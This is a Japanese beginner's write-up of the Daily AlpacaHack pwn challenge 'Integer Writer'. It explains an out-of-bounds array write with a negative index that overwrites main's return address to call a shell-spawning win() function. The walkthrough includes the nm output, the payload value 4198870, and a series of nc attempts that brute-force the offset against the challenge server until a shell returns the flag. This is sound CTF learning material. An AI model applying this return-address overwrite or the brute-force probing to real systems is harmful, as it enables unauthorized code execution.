🍎

Writeup: Daily AlpacaHack 2025/12/5Fri "Integer Writer"

に公開

CTFを始めてみました。自分が解法を忘れないために記事にしていきます。
初心者が書いているので、初歩的なところから解説しています。
冗長な記事ですがお付き合いください。

(なお一部おそらく想定解で解けていません。)

Daily AlpacaHackとは

https://alpacahack.com/daily

毎日0時に1題ずつ公開される、常設CTFです。
日本語にしっかり対応してくれており、日本人が取り組みやすいサイトです。


  • Daily AlpacaHackとは
    • 初心者に楽しんでもらえるようなシンプルな問題・教育的問題を毎日1問出題します。
    • 月〜金は新規の問題、土日は新たに移植したCTFの過去問を公開します。
  • いつでも参加可能
    • 出題から24時間以内に解くとリーダーボードに反映されます。
  • 競技ではありません
    • 友人やAIと話し合いながら解いてもOKです(アカウント共有は禁止です)。
  • 解法共有のルール
    • 出題から24時間後に公開・閲覧ができます(移植された過去問は除く)。

Writeup 12/5Fri "Integer Writer"

問題文

ジャンル: Pwn
難易度: Hard (定番問題、他の常設CTFだとmidiumくらいかと思われます)
cのコード、ビルド後バイナリ(x86)、nc x.x.x.x portのアクセス情報が与えられます。

うっかり戻りアドレス書き換えられたらシェル起動できちゃうって冷静に考えてやばくね?気をつけなきゃ...

初心者向けヒント
  • この問題は Pwn カテゴリー、すなわち Pwnable (Binary Exploitation) に関する問題です。
  • 難易度は Hard になっています。これまでの Easy, Medium より難しく、特に Daily - AlpacaHack で初めて CTF を知った方は自力で解くことは難しいでしょう。
  • ですので、詰まった場合は適宜 AI も駆使して、解法の糸口を見つけることをおすすめします。
  • Pwn は初心者に難しく思われやすいですが、コンピューターの低レイヤーの挙動を楽しめる刺激的なカテゴリーなので、ぜひ挑戦してみてください。
  • もし解けなくても、終了後に他のプレイヤーが公開する解法(writeupと言います)を見て、ぜひ復習してみてください。
  • 問題公開から 24 時間後に writeup タブが下のタブ一覧に追加されます。
  • この問題の配布ファイルでは、C言語のソースコード main.c とそれをコンパイルしたバイナリ chal が与えられています。
  • このプログラムでは、プレイヤーから pos, val の入力を受け付けます。
  • 今回のゴールは、リモート環境で win 関数を実行してシェルを起動することです。
  • 適切な pos, val を送信すると win 関数が呼べるので、そのような値を見つけてください。
  • リモート環境には nc コマンドで接続します。
  • シェルが取れたら flag.txt を読んで、フラグを取得してください。

ヒントが与えられていますが、ヒントというよりPwnジャンルとAlpacaCTFの説明といった感じで特に情報はありません。

ソースコード (コメント等を足しています)

main.c
// gcc -o chal main.c -fno-pie -no-pie
// include 略

/*
** How to get the address of `win` **
  $ nm chal | grep win
  XXXXXXXXX
This address is **fixed** across executions, because the challenge binary
`chal` is compiled with -fno-pie (i.e., without position-independent code).
*/
void win() {
    execve("/bin/sh", NULL, NULL); // これ呼べれば勝ちだな
}

int main(void) {
    int integers[100], pos; // intの配列と、intの変数

    /* disable stdio buffering */
    setbuf(stdin, NULL); // いろいろな初期化処理、特に変なとこはなし
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    printf("pos > "); 
    scanf("%d", &pos); // pos > と表示されたら入力待機
    if (pos >= 100) { // 配列長より長いのはダメ
        puts("You're a hacker!");
        return 1;
    } // あれ、負の値のチェックが漏れてますね
    printf("val > ");
    scanf("%d", &integers[pos]); // そのままposを投入 = BOFしそう

    return 0;
}

これを読みながら以下のようなことを考えます:

メモリ固定 = ローカルで試せそう

冒頭の // gcc -o chal main.c -fno-pie -no-pie から、ビルド時にメモリ固定オプションが指定されていることが分かります。
-fno-pie: Position Independent Code を生成しない
-no-pie: Position Independent Executable としてリンクしない

バイナリを実行した時のメモリ上の位置の割り当ては普通ランダムですが、これらのオプションによりこのバイナリはどのマシンで実行しても毎回固定のメモリアドレスに変数や関数が配置されるようになっています。(Pwn問題ではよくある)
これを見て、ローカルでこのバイナリを動かし、デバッガなどで挙動を確認できるな、と思います。

つまり

デフォルトのPIE有効時:

実行1: win関数が 0x55555555d6d6 に配置
実行2: win関数が 0x55555556a1d6 に配置  ← 動かすたびに変わる
実行3: win関数が 0x555555578d6d に配置

PIE無効時:

実行1: win関数が 0x4011d6 に配置
実行2: win関数が 0x4011d6 に配置  ← 常に同じ!
実行3: win関数が 0x4011d6 に配置

関数のメモリ上の位置を探す指示 = returnアドレス上書き攻撃かな?

$ nm chal | grep winを実施せよとの指示があります。与えられたバイナリのシンボル(関数名とか変数名とか)の位置を探して解く問題のようです。リターンアドレスの書き換えをしそうだな、と思います。あとで指示通りのコマンドを動かしてみますが、結果はこんな感じ:

root@0562041fa4b3:/work# nm chal | grep win         
00000000004011d6 T win

win()が目標っぽい

win()の中では、単純に/bin/shを実行しています。これが実行されればシェルが起動して任意のコードが実行できるので、lsでflagファイルを探して終わりでしょう。おそらく簡単には呼べないんだろうな、と思います。
この後main()を読んでもwin()は呼び出されていないことから、こいつを呼び出すのが目標と察します。

main()でバッファオーバーフローしそう

main()を読んでいくと、posのバリデーションが甘いまま配列integersに投入されていることが分かります。

scanf("%d", &integers[pos]);

これはC言語では危ないコードで、integersの配列の外側のメモリを書き換えてしまう可能性があります。少し前のブロックで配列長=100以上のものは弾いていますが、0未満、つまり負の値はノーチェックです。
ここを突いて、うまくwin()を呼び出す方法を思い出しましょう。

リターンアドレス書き換え攻撃

Pwn問題でよくある、「バッファオーバーフロー(以下BOF)+リターンアドレス書き換え」が今回も有効そうだなとあたりをつけます。

リターンアドレス書き換えの挙動をざっくりと説明します。
本来のこのプログラムの挙動は以下のような順番になる想定だと思われます:

  1. プログラムの実行時、main()のscanf("%d", &integers[pos]); = 35行目に差し掛かる
  2. 「35行目」を実行している最中だよという情報が保存される = リターンアドレス
  3. 配列integersのアドレスと変数posの値から計算されるメモリアドレスに、入力された何らかの値を保存する
  4. リターンアドレスを参照し、「35行目」から再開する

この入力された何らかの値を保存する場所をバグらせ、「35行目」という情報があった場所にwin()があるアドレスを渡すことができれば、

  1. リターンアドレスを参照し、「win()」から再開する

という処理だったことにしてしまうことで、無理やりwin()を実行できます。これが今回やりたい書き換え攻撃です。

実際のメモリ上の配置は下記のようになることが想像されます:

(メモリ)
:
[main関数の呼び出し元のスタックフレーム]
[リターンアドレス] ← ここを書き換えたい
[メモリ領域(スタック)の端]
 :
[pos変数など]
 :
[integers[0]] ← 配列の開始位置
...
[integers[98]]
[integers[99]]
:

上記のうち、リターンアドレスの位置をintergers[xxx]と表現するとして、xxxが何という数字になるのかは解析してみないと分かりません。
(ソースコードが負の添え字をチェックしていないので、おそらく負の数字なんだろうなということは分かります)

攻撃方法を考える

指定されたアドレスにncしてみれば分かるように、課題プログラムにはpos >val >の2回の入力待機があります。それぞれ、配列indexと、実際の値です。ここまでの考察から、

  • pos > (リターンアドレスの位置を指す不正な添え字=なんらかの負の値)
  • val > (win関数が配置されているアドレス)

という値を入力すればいけそうだという方針が立ちました。
さらに、ソースコード内のコメントから$ nm chal | grep winを実行しろと言われていました。この結果は

root@0562041fa4b3:/work# nm chal | grep win         
00000000004011d6 T win

だったため、後者val >に入力する値は0x4011d6であることが分かります。
ここで注意! valはint型=10進法の配列のため、16進数の4011d6を10進数に直した4198870を入力する必要があります。 (解いたときうまくいかなくて焦った)

あとはposです。実はここが上手く取れませんでした。私の操作環境はM2 Mac(arm)のため、x86想定のバイナリが上手く動きません。ローカルでx86のubuntuコンテナを動かしてgdbを試したのですが、400バイト以上離れたアドレスが返ったりなど挙動が不安定でした。

仕方がないのでブルートフォースします。-1から順番に試し、リターンアドレスに辿り着けるか試します。幸い、val >の方は値が確定しているため気軽ですし、負の値を入れるはずというメタ読みと「他に変数や関数が少ししかない」というソースコードの情報から、そんなに遠くには配置されていなさそうと推測できます。
(サーバに負荷がかかるので、CTFで確信のないブルートフォースを行うのはやめましょう)

$ nc 34.170.146.252 51272
pos > -1
val > 4198870
$ nc 34.170.146.252 51272
pos > -2
val > 4198870
$ nc 34.170.146.252 51272
pos > -3
val > 4198870
$ nc 34.170.146.252 51272
pos > -4
val > 4198870
$ nc 34.170.146.252 51272
pos > -5
val > 4198870
$ nc 34.170.146.252 51272
pos > -6
val > 4198870
# ここで止まったため、lsと打って送信
flag.txt
run
# ここでcat flag.txtと打って送信
Alpaca{...}

-6を試したときに、応答が返らなくなりました。これは/bin/shが呼び出され、入力待機に入ったということです。lsを送るとファイル一覧が返ってきました。あとはcatでフラグを出力して終了。

感想

  • c言語のデバッガを使って脆弱性を探す、という定番の問題でした。初心者的には、基本的なPwnの動きを練習することができたのが嬉しいです。
  • M2 Macだといろんなツールが動かないのが厳しいです。でもMacが好きなのでなんとかしたい。
  • Macだとgdbの代わりにlldbというツールがよく使用されますが、どちらにせよx86でないので正常なデバッグができませんでした。方法見つけたらまとめたい。

Discussion